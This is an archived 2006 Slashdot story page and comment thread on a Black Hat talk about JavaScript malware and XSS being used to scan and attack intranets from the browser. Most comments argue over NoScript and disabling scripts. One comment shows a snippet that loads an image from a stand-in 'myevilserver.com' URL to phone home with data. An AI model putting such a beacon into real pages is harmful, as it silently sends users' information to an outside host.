Slashdot Log In
JavaScript Malware Open The Door to the Intranet
Posted by
Zonk
on Sun Jul 30, 2006 06:36 AM
from the anybody-home dept.
from the anybody-home dept.
An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"
Related Stories
Offsite: Dark Reading Coverage
This discussion has been archived.
No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
Full
Abbreviated
Hidden
Loading... please wait.
JavaScript Malware Open The Door to the Intranet (Score:5, Funny)
Re:JavaScript Malware Open The Door to the Intrane (Score:5, Funny)
Parent
Re:JavaScript Malware Open The Door to the Intrane (Score:3, Funny)
NoScript (Score:5, Informative)
Re:NoScript (Score:5, Informative)
Parent
specifically allow (Score:2)
Feature creep? (Score:2, Interesting)
Seriously, NoScript is great, but if I want to block flash I'll install Adblock or Flashblock. If I want to whitelist sites for javascript then I'll use NoScript. Whatever happened to the concept of simply doing one thing well?
Re:NoScript (Score:5, Insightful)
Most recently we saw this problem in Netscape's portal.
http://blog.outer-court.com/archive/2006-07-26-n7
Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.
Parent
Re:NoScript (Score:2, Informative)
Re:NoScript (Score:3, Insightful)
Re:NoScript (Score:3, Insightful)
Alas, I'm realizing that is a common experience on Slashdot. I always imagined geeks who were full of themselves, I guess I had to come here to really find them.
Anyway, just brush that off, take the good from what they had to say,
Re:NoScript (Score:3, Informative)
RTFA.
Problem Solved? (Score:3, Interesting)
The consequences of disabling Javascript can lead to a host of new problems. I used to disable javascript and enable it by whitelist. Then I registered a piece of shareware, paid by credit card, and waited. Of course since the whitelisted servers forwarded off to some other entity which provided the registration pages, it never came back. So I figured out the servers that it
Doesn't work that way with NoScript (Score:2)
I've used NoScript now for quite a while and I love it.
Re:Doesn't work that way with NoScript (Score:2, Informative)
You just described a whitelist.
His TRANSACTION was sent off elsewhere, to another site, and because THAT site hadn't been whitelisted, he didn't get an acknowlegement that his payment had been accepted.
I know you no-script fanboys can't stand the idea that your favorite
Re:NoScript (Score:2)
Why not just install Opera 9 and use the new site management capability to manage javascripting. You can disable javascript by default for all sites, and only allow javascript to run on those sites that you trust.
Re:NoScript (Score:2)
I'm currently playing around with AJAX (shameless plug: a MySpace with better usability in PHP [robertjognkaper.com]) but because I can't see if JavaScript is on or off on the server side easily, I have to generate pages which include interface definitions fo
Re:NoScript (Score:2)
Uhh...
Yeah really I don't get it either.
I always browse with JS turned off and only enable it when I really, absolutely need to, or on sites I really trust. I figure, any other sites are a)using it for fluff I don't care about (like fancy dropdown menus that have no business using JS) or b) probably
Re:NoScript (Score:3, Insightful)
If you want a 'You have recieved mail' popup, you need JS, same with drag/drop, client side validation (along with server side obviously), client side updates of something that is happening server side (eg: t
Simple fix to an obvious problem (Score:4, Insightful)
So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.
I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.
Re:Simple fix to an obvious problem (Score:5, Interesting)
The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).
I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.
Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.
"Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."
Parent
"Paranoid Mode" extension - a proposal (Score:2)
Paranoid Mode would block all plugins, cookies and javascript, and optionally have a "click-to-load" button in place of content from other servers
Re:Simple fix to an obvious problem (Score:4, Insightful)
img.src="http://myevilserver.com/phonehome.cgi?ev
document.body.appendElement(img);
Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?
Parent
Re:Simple fix to an obvious problem (Score:2, Insightful)
As said: the problem is not the XMLHttpRequest that can be done: this is site bound in Firefox. (I think it's domain bound, not site bound actually, but ok)
The problem is the ability of a homepage to be spread over different servers and locations. The only solution I see is getting images to be domain bound to.
This solution will only work if it is set on all possible media that is embedded in the page, allowing only relative links for embedded media. Of course, this would totally destroy most parts of t
Re:Simple fix to an obvious problem (Score:3)
This is moot. The server which served you the page already has your IP address.
Re:Simple fix to an obvious problem (Score:5, Informative)
Parent
Re:Simple fix to an obvious problem (Score:3, Insightful)
Re:Simple fix to an obvious problem (Score:4, Insightful)
An HTML page can access an image on a third party server via a normal html tag, a javascript can facilitate that access, that's about it. In that http request parameters can be hidden that provide information about your session.
The trick with JAVASCRIPT scanning your local network is actually this exact feature: a browser allowing HTML page to load resources from anywhere on the network. JAVASCRIPT is used to manipulate the DOM of the HTML, the GUI event model and the http requests. So the fundamental question is this: should and HTML page be allowed in principle to access resources from third party servers and not from its own server.
But then you are questioning the entire Hyper Text idea - the linking of the Internet.
This most certainly will not be fixed in the next release of ANY browser.
Parent
How's this news? (Score:2, Insightful)
It's not just javascript, flash content, activeX and java applets should all be disabled site-wide. Any network admin that
Oh well, let's prevent people doing their jobs (Score:3, Funny)
Re:How's this news? (Score:5, Informative)
Having only one layer of security is the problem at hand here, not javascript. Javascript is incredably useful, and disabling is certainly not the best answer for most places (I can see govt organizations or sensitive research sections of companies doing this though, but then again why event allow net access at that point?)
Parent
NoScript extension could be a saviour (Score:5, Informative)
It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)
WMVs (Score:4, Insightful)
Configure which sites get javascript? (Score:3, Insightful)
Websites need to stop using javascript for conveying simple information. That Flash crap too. Most people just laugh when I say javascript is a security hole.
I tried the "proof of concept" here... (Score:2, Informative)
But the Firefox "NoScript" extension completely blocked it until I told i
Re:I tried the "proof of concept" here... (Score:2)
Re:I tried the "proof of concept" here... (Score:2, Interesting)
Doesn't the second part of that make you a little nervous? One possibility is that it is finding your router and print server, but not where they are supposed to be. Could be an error in the program, but it could be some 'feature' of your network environment that you'd like to know a
Re:I tried the "proof of concept" here... (Score:2)
And that's lovely, until you realize that not everyone runs Firefox and in many corporate environments, IE is still the defacto standard. Hoping a browser will rescue application developers from bad security design is like hoping Paris Hilton wins a Nobel Prize.
Security starts with code; if the code isn't secure, then you're asking for trouble. Programming classes in colleges and tech institut
Javascript Haters Society (Score:4, Insightful)
That seems weak to me. By all means propose replacement solutions that do the same job, but by saying "don't use it" all you're really doing is saying "I personally have little use for it".
Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left.
Missing the point (Score:4, Interesting)
Yes it is. Users could also politely point out to the authors and administrators of the majority of web sites which rely on javascript that they really, absolutely, positively don't need it. You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it. I would say that using scripted actions for that is lazy and stupid, but it actually involves a good deal more work than using proper HTML. That makes it just plain stupid.
For the rare applications which actually require javascript and don't just use it as some kind of prostetic weiner replacement there is always the option of enabling scripting on a site by site basis. Turning scripting on for http://trusted.internal.site.on.your.local.net/ [local.net] but not for http://random.russian.warez.and.porn.site/ [porn.site] really is a solution.
Re:Missing the point (Score:2)
You don't need it - you want it. (Score:5, Insightful)
You don't need it - you want it. You want it to make the entire web experience better.
From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.
Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.
Similarly with Java, Flash and other things.
Parent
NCSA Mosaic avoids this problem (Score:3, Funny)
FIrefox NoScript? (Score:2, Interesting)
How anyone can just not use a simple extension to block scripts, flash, java, etc like the Firefox NoScript extension is just confusing to me. People actually seem to want to run foreign applications on their system through sites which can quite easily load anything they want.
Make it clear to your family that the modern Internet is like the real world. Protecting your computer with either a secure Internet Explorer (eg: the default Windows 2003 IE config) or Mozilla Firefox (with the NoScript and CookieSa
Detection of webserverless machines is unreliable (Score:2)
In addition, if a machine has a webserver on it but requests for / give an err
The Cross Site Scripting FAQ (Score:2)
Cross Site Scripting [cgisecurity.com] FAQ
WAN computing has evolved in a bad way. (Score:2)
We just need to redesign the thing from the bottom up, now that we have learned the ups and downs.
Please kill JavaScript. (Score:2, Insightful)
As far as browsers are concerned, a large percentage of exploits are being written by / for criminal elements for profit. To this end, they maximize their profit potential by targeting the most prolific b
Re:A solution to this problem. (Score:2, Insightful)
Re:A solution to this problem. (Score:3, Informative)